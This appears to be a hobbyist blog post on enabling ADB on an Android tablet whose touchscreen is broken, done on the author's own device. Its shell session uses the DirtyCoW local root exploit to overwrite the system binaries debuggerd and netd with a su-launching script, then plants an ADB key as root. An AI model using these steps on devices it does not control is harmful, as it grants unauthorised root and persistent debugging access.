How to Setup ADB without Touchscreen

If you acquire tablets as additional display devices or other non-standard hackery, a lot of money can be saved on "defective" devices where the touchscreen is broken.

So far, all models I tested were willing to boot outside of their case and with the touchscreen completely disconnected. There is no need to keep the broken glass in front of a perfectly fine display assembly. While you're at it, you might also want to replace the rather heavy (or maybe dead) battery with a normal (I used 10μF successfully) capacitor. Just removing the battery without adding back some capacitance at all resulted in unstable voltage levels (and sudden reboots) on one of the devices I tested.

Anyway, somehow you ended up with a new tablet without working touchscreen. Now to enable adb, you need to enter settings. The solution here is OTG: Android supports USB host mode (with an OTG adapter cable). This plus any USB mouse solves all input needs excepts one: Most devices have only one USB port, and it is either in host or device mode. And the "Allow USB debugging?" dialog disappears as soon as one disconnects the adb-ing PC to reconnect a mouse.

One way to solve this:

First install Fdroid, then from its repository SimpleSSHd. Thus you have a shell on the device. And therefrom any local root exploit you have at hand.

In my case dirtyCoW:

user@tostab12BA:/data/data/org.galexander.sshd/files $ cat start-su.sh                                                        
#!/system/bin/sh

if ! /data/data/org.galexander.sshd/files/su -c id; then
        mount -o remount,suid /data
        /data/data/org.galexander.sshd/files/su --daemon
fi

sleep 7200
user@tostab12BA:/data/data/org.galexander.sshd/files $ ./dirtycow start-su.sh /system/bin/debuggerd
user@tostab12BA:/data/data/org.galexander.sshd/files $ ./dirtycow start-su.sh /system/bin/netd
# Wait a while...
user@tostab12BA:/data/data/org.galexander.sshd/files $ ./su

Now, to enable adb access:

root@tostab12BA:/data/misc/adb # cat >> adb_keys
Key from ~/.android/adbkey.pub goes here
root@tostab12BA:/data/misc/adb # chown system:shell adb_keys
root@tostab12BA:/data/misc/adb # chmod 640 adb_keys
root@tostab12BA:/data/misc/adb # chcon u:object_r:adb_keys_file:s0 adb_keys
root@tostab12BA:/data/misc/adb # setprop ctl.stop adb
root@tostab12BA:/data/misc/adb # setprop ctl.start adb

Done.